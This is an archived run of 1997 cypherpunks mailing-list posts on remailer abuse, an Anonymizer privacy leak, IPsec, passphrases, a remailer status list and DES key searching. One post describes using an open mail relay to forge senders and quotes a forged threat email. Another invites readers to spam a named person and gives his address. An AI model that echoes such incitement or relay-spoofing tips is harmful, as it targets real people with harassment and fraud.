To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111411.GAA19235@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@as-node.jena.thur.de>
Date: Tue, 11 Feb 1997 06:11:03 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111411.GAA19227@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 11 Feb 1997 06:27:10 -0800 (PST)
To: zinc <cypherpunks@toad.com>
Subject: Re: lead remailer is shut down
Message-ID: <199702111427.GAA19963@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:0339 zinc <zinc@zifi.genetics.utah.edu> said:

+i came in today to find they (university system admins) had pulled the
+plug on my machine.  this is all because some luser spammed usenet
+using the remailer on my machine.  thanks a lot.

+so, the lead remailer is gone for good; it lasted almost exactly one
+year. 

    that is the universal problem.  we make the remailer chains so they 
    guarantee privacy, but we cannot filter for spam...

    unless it is the last mixmaster in the chain.  it sounds like we
    need a postprocessor which can 

    1)  contain addresses and domain numbers of known spammers; 

    2)  log senders to obtain a usage profile (over a very short time, 
        and that is itself encrypted) which can spot enormous expansion 
        headers.  for instance, linda thompson is accusing a cypherpunk 
        [more like a cypherpunk hater] of faking her address on 
        threatening material to all 100 senators plus Al Bore; 

        interestingly, the perpetrator left enough information in the
        header, which was returned for addressing Al Bore incorrectly, 
        to be able to narrow the field; and,

    3)  most spamming seems to follow a pattern which it should be
        possible to scan for. the problem, of course, being that 
        "innocent" messages will potentially be trashed.

    whatever it takes, there are a finite number of sites which can host 
    remailer traffic.

    for instance, I have been debating whether or not we can afford the 
    load on our single T1 which is currently supporting 200 simultaneous 
    ppp connections plus some high-volume commerical web pages. We are 
    at least a year away from T3 due to lack of circuit facilities.

    let's figure a way to stop at least some of the abuse; you can not 
    stop the individual abuse, but does a spammer have any rights?

        --attila

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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-----END PGP SIGNATURE-----
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Tue, 11 Feb 1997 06:26:08 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Taking advantage of Newt's phone calls
Message-ID: <199702111426.GAA19746@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

It seems like Sprint's taking advantage of the tap on Newt's little
call there by advertising how Sprint Spectrum is private and no one
can listen in, with little "signal" graphics going from one SS phone
to another in DC...  Cute...

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMv4NVCKEMrE5tbrdAQFIpgQAsS87dmofyalpLJMJjIRk71KmZheEbhnJ
WNvCO2fvvxP5aURbeh/MwVV7KOL0hcISPVWoFXrP9HmWSuhc3X7TRCQKVGESTOzS
9z2TaTF8hcAV8PFN3CCReBU5p/6OUBLN85pMbgyk818hAMf9LRhnroauSzQlXtGz
iAhkvhlnBUg=
=eAZ+
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 11 Feb 1997 06:29:22 -0800 (PST)
To: lindat@iquest.net
Subject: Email forgery
Message-ID: <199702111429.GAA20054@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This is a very strange forgery.  It appears that the attacker used
fcaglp.fcaglp.unlp.edu.ar as a relay.  This machine is running an old version
of HP sendmail that apparently accepts any hostname the user enters after
"helo".  I tried sending myself fakemail using this site but haven't got a
response yet.  The interesting thing is that the attacker used the hostname
echotech.com and not iquest.net.  echotech.com is a real domain so the attacker
might have been dumb enough to connect from echotech.com and enter the real
origin.  Or the SMTP server might just pretend it's fooled and put the real
hostname in the received header regardless of what's entered after the helo.
I'm not familiar with HP sendmail so I don't know whether this is true or not.

On Sun, 9 Feb 1997, Bovine Remailer wrote:

> Date: Sun, 9 Feb 1997 08:42:45 -0500 (EST)
> From: Bovine Remailer <haystack@holy.cow.net>
> To: cypherpunks@toad.com
>
> NEW ATTACK ON CP LIST
>
>
> >Date: Sun, 9 Feb 1997 03:55:04 -0500
> >From: Linda Thompson <lindat@iquest.net>
> >To: robert@iquest.net
> >Cc: aen-news@aen.org
> >Subject: URGENT
> >
> >Someone is sending THREATS to the President and Senate and using *MY*
> >name
> >and account to do it.  One bounced and was sent to me.  You should be
> >able
> >to find out where it came from by the message I.D.  I think it is
> >EXTREMELY
> >important that you find out where this came from!!
> >
> >Also, earlier in the day, I got a message that I was subscribed by
> >"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
> >would
> >bet that whoever did THAT also sent this message.
> >
> >Here's the threat message:
> >
> >Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
> >Delivered-To: lindat@iquest.net
> >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
> >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
> >  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
> >Received: by fcaglp.fcaglp.unlp.edu.ar
> >	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
> >Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
> >Subject: Returned mail: User unknown
> >To: lindat@iquest.net
> >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
> >Status: U
> >
> >   ----- Transcript of session follows -----
> >550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
> >
> >   ----- Unsent message follows -----
> >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
> >	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
> >Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: lindat@iquest.net
> >Return-Path: <lindat@iquest.net>
[recipient list deleted]
> >Reply-To: lindat@iquest.net
> >Return-Receipt-To: lindat@iquest.net
> >Comment: Authenticated sender is <lindat@iquest.net>
> >Subject: message to USSA Senate
> >
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.



Mark
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=psFL
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 11 Feb 1997 06:27:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANON: anonymizer.com thru proxy server is bad news
Message-ID: <199702111427.GAA19968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: jmccorm@galstar.com (Josh McCormick)
Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.browsers.misc,alt.2600,ok.general
Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com"
Date: 9 Feb 1997 19:25:46 GMT
Lines: 43
Message-ID: <5dl8bq$6h3@mercury.galstar.com>

THE CLAIM:
> Our "anonymizer" service allows you to surf the web without
> revealing any personal information.

THE PROBLEM:
> If you access The Anonymizer through a proxy server, it may add a 
> variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter 
> out, revealing your true identity.

THE DATA:
> Below is a printout of the variables from an "anonymous" session done 
> through The Anonymizer when accessed through the Squid proxy server.

REMOTE_HOST=darkmatter.infonex.com
REMOTE_ADDR=206.170.114.24
HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!)
HTTP_HOST=sol.infonex.com:8080
HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.83.41
HTTP_PRAGMA=no-cache
HTTP_PROXY_CONNECTION=Keep-Alive

THE RESULT:
> A CGI script could see that you were using The Anonymizer to hide 
> yourself, but your true IP address is revealed in the "HTTP_FORWARDED" 
> string.

THE SUMMARY:
> Beware using an anonymous browsing service if you are going through a 
> proxy server. Until they remove the information provided by proxy 
> servers, using their service isn't as anonymous as they say.

THE QUOTE:
> (from The Anonymizer home page) "Many people surf the web under the
> illusion that their actions are private and anonymous. Unfortunately, it
> isn't so." 

=====================================================================
== Josh McCormick             Galaxy Star Systems                  ==
== jmccorm@galstar.com        Providing Quality Internet Access    ==
== Systems Administrator      WWW: http://www.galstar.com/~jmccorm ==
=====================================================================

--
http://yakko.cs.wmich.edu/~frogfarm/  ...for the best in unapproved information
 "Would I had phrases that are not known, utterances that are strange, in new
 language that has not been used, free from repetition, not an utterance which
 has grown stale, which men of old have spoken."  - inscribed on Egyptian tomb 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 06:26:32 -0800 (PST)
To: unde0275@frank.mtsu.edu>
Subject: Re: Passphrase generation
Message-ID: <199702111426.GAA19838@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Internaut <unde0275@frank.mtsu.edu> writes:
> Hi,
> I am wanting to learn how to generate a passphrase that is at least as 
> strong as the IDEA algorithm.  I have looked several other places on the 
> web for an answer to this, but they all had different things to say that 
> didn't add up (no pun intended :).

Chech out the cannonical passphrase FAQ:
http://www.stack.nl/~galactus/remailers/passphrase-faq.html

This one has some quick reminders of what to do and not to do
http://www.encryption.com/pphrase.htm

Bottom line, totally random ASCII will have lots of bits per
character, but english has about 1.2 bits per character. Misspellings
can add to that, depending on the extent of mutillation . Combining
certain words can make your passphrase weaker (such as "To be or not
to be," "This is my passphrase," etc.).

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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7pJjcWK1wvKe9Y6ky6PXnAECRZ73gVuj
=P1Zh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Tue, 11 Feb 1997 06:26:39 -0800 (PST)
To: rodney@sabletech.com
Subject: Re: question on setting up for ipsec/linux
Message-ID: <199702111426.GAA19858@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm away from Greece until the end of february. Some questions I may be
able to answer, but I don't have the ipsec code with me, nor do I have
a setup where I can test things. Here are some tips that may help you though.

* The code has been tested under 2.0.27 and 2.0.28. It will probably run
on kernels down to 2.0.24. It will not even load with 2.1.x. 

* Only "tunnel mode" works. I'm waiting for a few more chances to occur
to the 2.1.x routing code before I move the IPSEC code to 2.1.x and 
implement transport mode.

* While not reflectedected in the (excuse for) documentation, I *have*
tested all the modes for all the transforms. Of course, I may have 
interpreted the I-Ds in the wrong way, but I don't think so. The following
transforms are supported:

	ah md5
	esp des (with 32 and 64 bit IVs)
	ah hmac-md5
	ah hmac-sha-1
	esp des-md5
	esp 3des-md5

Please not that the des-md5 and 3des-md5 have this weird concept of the Initiator
and Responder. Since we're still doing manual keying anyway, it doesn't
matter much wich side is which, and it doesn't even matter which if both
sides are Is or Rs. The information is onlyl used to derive the
encryption and authentication keys, the IV and the counter, from the
(hopefully) negotiated shared secret. If all else fails, set both sides to
be Initiators, and this way you won't have to think about which "setsa"
lines get an r and which get an i.

I'll try to write up som e more docs when I'm back in Athens, but if
someone else from Europe could do it, it would be good.

/ji





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Tue, 11 Feb 1997 06:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ann: Encrypted disks for Windows NT (fwd)
Message-ID: <199702111426.GAA19816@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone seen this here?  I wasn't sure if it had been posted, so I thought
I'd pass it on.  I have not looked at the software yet...


Rich

---------- Forwarded message ----------
Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST)
From: softwinter@post1.com
To: richieb@teleport.com
Subject: Ann: Encrypted disks for Windows NT

Soft Winter Corporation, February 10, 1997 released:
Shade - strong encryption software for Windows NT.

Shade allows you to create encrypted disk device inside a file.
Such a device can then be formatted using any file system
(like NTFS or FAT) and used as a regular disk. The only difference
is that Shade will encrypt the data on every write operation
and decrypt it on every read operation.

To download  go to: http://softwinter.bitbucket.co.il

Soft Winter Corporation,
softwinter@post1.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Tue, 11 Feb 1997 06:27:36 -0800 (PST)
To: victor.volkman@hal9k.com
Subject: LInteger Version 0.2: A C++ MPILIB
Message-ID: <199702111427.GAA20016@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

LInteger is a set of C++ libraries supporting multiple precision integers.
Also included are libraries supporting chain hash functions and
pseudo-random number generators.

The core multiple precision methods are coded in i386+ assembly language
for high speed. The libraries will only compile under GNU's g++ compiler,
and have only been tested under the Linux and Windows NT operating systems.
It is anticipated that there should not be any problems compiling under
Windows '95, however, and that compiling for OS/2 will only require minor
hacking, if any.

Included as a sample chain hash function is an i386+ assembly
implementation of the Secure Hash Algorithm (FIPS 180-1).  Included as a
sample pseudo-random number generator is an implementation of a
pseudo-random number generator described in Section 3.1 of FIPS 186 (the
Digital Signature Standard).

Complete HTML documentation is provided for all public and protected
methods.  The package is free for both commercial and non-commercial use.

Some of the improvements of this release over version 0.1 include:

 - Pseudo-random number generation. 
 - Probable prime generation. 
 - Easier constructors. 
 - MontyRep and ResidueClass classes. 
 - ASCII I/O in bases 1 to 36. 
 - Overloading of fstreams operators for storage on persistent media. 
 - Easier exponentiation. 
 - Pentium optimizations for multiplication and squaring. 
 - A square root function (by special request). 
 - 8+3 filenames (by special request). 
 - Various bug fixes and speed improvements (and some slowdowns! :) ) 

The package is available for download at

 http://www.interchg.ubc.ca/janke/linteger.html

The hashes for version 0.2 are

MD5:        61f027957065b88a690def3557956d34 
RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 
SHA0:       b8e65d49ae0ae3ab26741030c8ca03137e16b493 
SHA1:       c46317ad7e3a9ff38092269b21513dbf68c0e3ef 
RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 06:27:24 -0800 (PST)
Subject: Re: Who's ahead: NSA or the private sector?
Message-ID: <199702111427.GAA19998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


That's not really a meaningful question.
We can write codes they can't crack.  They can write codes we can't
crack.
The cats are out of the bag, and David Aaron can't herd them back in.

In some sense, the NSA is ahead of academia, because academia publishes,
so they can read everything the Good Guys have done (less six months
waiting to get published in journals :-), while the NSA seldom
publishes.
(There are also corporations doing non-published crypto work,
but not much - they also see the value of open system review.
And the KGB may have been good as well, but they're not in our face,
and we can write codes the Russians and French can't crack either.)
The NSA has almost certainly done more work on analyzing obscure Russian
cryptosystems, but who knows how much of that is just brute force.

But the real problems these days are engineering, not science*,
so it's probably worth spotting them a few bits of keyspace just in
case.
The NSA is better able to come up with a few million dollars to build
custom key-cracking hardware than industry is, so we have to presume
they can do at least as well as a Wiener machine for cracking DES;
they're certainly better at eavesdropping on calls than we are.
I don't know if we can coordinate more workstations for a distributed
crack,
but they _could_ issue the FedCast Secure Screen Saver for all federal
PCs;
the only question is how much time would it spend cracking keys and
how much grepping for suspicious files :-)  There may still be radical 
changes in factoring technology, especially as computers get faster,
but I doubt they'll do more in practice than force us to use longer
keys,
unless someone proves P=NP in the far mythical future or proves that
factoring is in or near P.

The interesting questions are at the boundaries of strong crypto
and weak crypto - 40 bits is a nasty joke, DES is still interesting
for things that don't have too much money riding on them,
Skipjack is probably strong enough for a few years unless there's a 
second back door next to the one with the big "Cops Only" neon sign.
How strong can we make something and still get export permission?
Do we care?  What are the threat models for different "Key Recovery"
scams,
and are we willing to write deliberatlely weak code to collaborate?
Are the non-RSA public key systems good enough until the patent expires?

There are some boundary problems that are interesting for non-political
reasons - now that every toaster and digital wristwatch has an IP
address
and a few KB of RAM, what kind of useful crypto will fit in them?

Key distribution is still interesting - how do you make a system that's
convenient enough to use and secure enough to work?  And distributed
cracking systems are interesting, though the main uses for them are
for cracking known-weak cryptosystems.

Then there's the field of secure databases, which I think has both
practical potential and scientific merit - how do you mix data together
without leaking the secure stuff to unauthorized users, either directly
or through combining lots of non-privileged data.

[*Borrowing from Matt Blaze gratefully acknowledged.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Tue, 11 Feb 1997 06:44:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702111444.GAA20488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 10 Feb 97 6:46:24 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             **-#+*#*#*##     1:59 100.00%
jam      remailer@cypherpunks.ca                ******     8:22  99.98%
wazoo    remailer@wazoo.com                     *+++++    33:48  99.97%
weasel   config@weasel.owl.de             ++++++-++++   1:05:51  99.84%
lucifer  lucifer@dhp.com                  ++++++++++++    37:45  99.78%
dustbin  dustman@athensnet.com            ----+-- .+++  2:42:13  99.65%
balls    remailer@huge.cajones.com        +-- **### *#     2:12  99.60%
cyber    alias@alias.cyberpass.net        ++*+++*** *+    30:13  99.59%
haystack haystack@holy.cow.net             *#-+###*##*     4:06  99.42%
squirrel mix@squirrel.owl.de              ++ +++-+ ++   1:05:29  99.26%
exon     remailer@remailer.nl.com         #* * ##  **#     1:21  99.18%
middle   middleman@jpunix.com              ---+-. +++   2:51:34  98.78%
replay   remailer@replay.com              +-***+*---+*    27:45  98.57%
extropia remail@miron.vip.best.com         .- -------   4:46:55  98.08%
reno     middleman@cyberpass.net            --+-  .++   1:27:14  96.63%
mix      mixmaster@remail.obscura.com     +_ __.-*+    22:42:38  93.53%
winsock  winsock@rigel.cyberpass.net      ----.---   +  5:48:14  75.89%
shaman   mix@mix.nymserver.com                             2:46   9.00%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 06:26:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: HIC_rim
Message-ID: <199702111426.GAA19761@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97 NYT has Page One lead on high resolution commercial
"spy satellites," and the welter of political, social, economic and 
national security consequences as foreign governments,  
corporations and individuals hire them to invade privacy, secret 
sites and labs.

A nearby story reports on organized crime's shift to new industries,
especially those reliant on high technology: calling cards, stock
offerings and health care.

-----

HIC_rim







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 11 Feb 1997 06:42:02 -0800 (PST)
To: cypherpunks mailing list <jeremym@r56h159.res.gatech.edu>
Subject: Modified Clipper chip - HA!
Message-ID: <199702111442.GAA20272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For all of you who didn't see the last X-Files ...
Mulder made a visit to The Lone Gunman about breaking into some
impenetrable system.
Byers points out that "Yeah, that system is pretty hard to get into."
Mulder then inquires "well how did you guys get in?".
Byers replies cooly: "We used a modified Clipper chip we bought back from
the Chinese."
I didn't stop laughing for 5 minutes ... :)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"Women. You can't live with 'em. . . and yet they're everywhere."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 11 Feb 1997 06:42:24 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: You guys/gals oughta get a kick outta this guy
Message-ID: <199702111442.GAA20312@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another person who needs a good stern talking to by the nearest
cypherpunk --- this guy posted to comp.lang.perl.misc with the following
blasphemy, which I luaghed at until I had tears in my eyes.
--BEGIN COMPLETE STUPIDITY--
I want to make it executable to protect the source code from being read. I
don't want the source code available because I don't want people looking
for security holes.
--END COMPLETE STUPIDITY--

If anyone wants to spam this guy, or at least show him the error of his
ways, his sig explains the necessary info:

David K.
djk490s@nic.smsu.edu


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If the ionization rate is constant for all ectoplasmic entities, we could
really bust some heads! In a spiritual sense, of course.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Koenig <ig25@mvmap66.ciw.uni-karlsruhe.de>
Date: Tue, 11 Feb 1997 06:27:05 -0800 (PST)
To: challenge <challenge@list.ee.ethz.ch>
Subject: What's next?
Message-ID: <199702111427.GAA19940@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Now that we appear to be at a sustainable 300 MK/sec (which I could
hardly believe at first :-), is there any chance we could be attacking
the 56-bit DES key next?

DES is rumoured to be faster than RC5; also, there are likely to
be optimized assembler versions out there already.

We could also make better use of 64-bit architectures, since DES
uses 64-bit blocks.

However (and this is a very big however), that's still a keyspace of
7.2*10^16 keys to search.  Assuming 10^9 keys/second (three times our
current speed, which may be attainable with a good DES implementation)
that's still a bit over two years; too long by a factor of 10 or so.

Soo....

How fast are current DES implementations?  People could try des.c from
the ssh distribution as a starting point.

How much more computing power could we bring online?

Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all
the other nifty 64-bit architectures?

Does it make sense to use MMX or equivalent for DES?
-- 
Thomas Koenig, Thomas.Koenig@ciw.uni-karlsruhe.de, ig25@dkauni2.bitnet.
The joy of engineering is to find a straight line on a double
logarithmic diagram.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 11 Feb 1997 06:44:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
Message-ID: <199702111444.GAA20467@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
been expanded to cover all phases of involvement with
cryptography: cryptanalysis, history, legal, social,
classical, modern, NSA, mathematical techniques,
recreational, intelligence, tactical, strategic,
National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
